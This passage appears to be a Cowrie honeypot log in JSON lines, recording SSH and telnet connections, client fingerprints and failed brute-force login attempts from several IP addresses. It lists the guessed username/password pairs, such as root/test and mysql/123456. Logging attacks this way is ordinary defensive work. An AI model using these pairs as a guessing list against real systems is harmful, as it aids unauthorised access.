"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:39:32.531394Z","src_ip":"45.153.34.195","session":"d10b86b12986","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"123456","message":"login attempt [mysql/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:39:32.790091Z","src_ip":"45.153.34.195","session":"d10b86b12986","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:39:33.518195Z","src_ip":"103.27.238.116","session":"90ef410a4513","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:39:33.875915Z","src_ip":"45.153.34.195","session":"d10b86b12986","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":55420,"dst_ip":"10.17.0.5","dst_port":22,"session":"06b3ce92781b","protocol":"ssh","message":"New connection: 45.153.34.195:55420 (10.17.0.5:22) [session: 06b3ce92781b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:39:35.271219Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:39:35.440385Z","src_ip":"45.153.34.195","session":"06b3ce92781b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:39:35.443128Z","src_ip":"45.153.34.195","session":"06b3ce92781b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"scanner","password":"budda279056","message":"login attempt [scanner/budda279056] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:39:35.936912Z","src_ip":"45.153.34.195","session":"06b3ce92781b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":44898,"dst_ip":"10.17.0.5","dst_port":22,"session":"36a0647a9f49","protocol":"ssh","message":"New connection: 27.71.230.31:44898 (10.17.0.5:22) [session: 36a0647a9f49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:39:36.548234Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:39:36.584328Z","src_ip":"27.71.230.31","session":"36a0647a9f49","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":34448,"dst_ip":"10.17.0.5","dst_port":22,"session":"26e51626f21c","protocol":"ssh","message":"New connection: 91.92.40.36:34448 (10.17.0.5:22) [session: 26e51626f21c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:39:36.826728Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:39:36.850315Z","src_ip":"27.71.230.31","session":"36a0647a9f49","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:39:37.110330Z","src_ip":"45.153.34.195","session":"06b3ce92781b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"no","password":"no","message":"login attempt [no/no] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:39:37.567308Z","src_ip":"91.92.40.36","session":"aa4c5d56133c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":55436,"dst_ip":"10.17.0.5","dst_port":22,"session":"0a582e94bc37","protocol":"ssh","message":"New connection: 45.153.34.195:55436 (10.17.0.5:22) [session: 0a582e94bc37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:39:38.203319Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:39:38.211168Z","src_ip":"45.153.34.195","session":"0a582e94bc37","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:39:38.305871Z","src_ip":"45.153.34.195","session":"0a582e94bc37","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin@1010*","message":"login attempt [root/Admin@1010*] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:39:38.582294Z","src_ip":"27.71.230.31","session":"36a0647a9f49","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"test","message":"login attempt [root/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:39:38.813560Z","src_ip":"45.153.34.195","session":"0a582e94bc37","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:39:39.299069Z","src_ip":"91.92.40.36","session":"26e51626f21c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:39:39.302251Z","src_ip":"91.92.40.36","session":"26e51626f21c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:39:39.878257Z","src_ip":"27.71.230.31","session":"36a0647a9f49","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:39:39.897036Z","src_ip":"45.153.34.195","session":"0a582e94bc37","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"13.5","message":"Connection lost after 13.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:39:40.833160Z","src_ip":"91.92.40.36","session":"aa4c5d56133c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":57448,"dst_ip":"10.17.0.5","dst_port":22,"session":"6377abf087e2","protocol":"ssh","message":"New connection: 91.92.40.36:57448 (10.17.0.5:22) [session: 6377abf087e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:39:40.957139Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":55446,"dst_ip":"10.17.0.5","dst_port":22,"session":"60aded0c2663","protocol":"ssh","message":"New connection: 45.153.34.195:55446 (10.17.0.5:22) [session: 60aded0c2663]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:39:41.171736Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:39:41.176121Z","src_ip":"45.153.34.195","session":"60aded0c2663","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:39:41.270115Z","src_ip":"45.153.34.195","session":"60aded0c2663","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@$$w0rd","message":"login attempt [root/P@$$w0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:39:41.541115Z","src_ip":"45.153.34.195","session":"60aded0c2663","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:39:42.630748Z","src_ip":"45.153.34.195","session":"60aded0c2663","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:39:43.779686Z","src_ip":"91.92.40.36","session":"6377abf087e2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:39:43.783194Z","src_ip":"91.92.40.36","session":"6377abf087e2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":50128,"dst_ip":"10.17.0.5","dst_port":22,"session":"dcdc4e7bff7e","protocol":"ssh","message":"New connection: 45.153.34.195:50128 (10.17.0.5:22) [session: dcdc4e7bff7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:39:44.103206Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:39:44.113664Z","src_ip":"45.153.34.195","session":"dcdc4e7bff7e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:39:44.206464Z","src_ip":"45.153.34.195","session":"dcdc4e7bff7e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jeff","password":"jeff","message":"login attempt [jeff/jeff] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:39:44.534595Z","src_ip":"45.153.34.195","session":"dcdc4e7bff7e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:39:45.640698Z","src_ip":"45.153.34.195","session":"dcdc4e7bff7e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":50138,"dst_ip":"10.17.0.5","dst_port":22,"session":"65a795274b3e","protocol":"ssh","message":"New connection: 45.153.34.195:50138 (10.17.0.5:22) [session: 65a795274b3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:39:46.811822Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:39:47.023665Z","src_ip":"45.153.34.195","session":"65a795274b3e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:39:47.026554Z","src_ip":"45.153.34.195","session":"65a795274b3e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":41692,"dst_ip":"159.203.135.109","dst_port":23,"session":"d4f31f81b22e","protocol":"telnet","message":"New connection: 172.81.62.90:41692 (159.203.135.109:23) [session: d4f31f81b22e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:39:47.284833Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"192837465","message":"login attempt [root/192837465] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:39:47.651770Z","src_ip":"45.153.34.195","session":"65a795274b3e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"201.17.146.173","src_port":46042,"dst_ip":"159.203.135.109","dst_port":22,"session":"9d78e0276e73","protocol":"ssh","message":"New connection: 201.17.146.173:46042 (159.203.135.109:22) [session: 9d78e0276e73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:39:48.510009Z"}
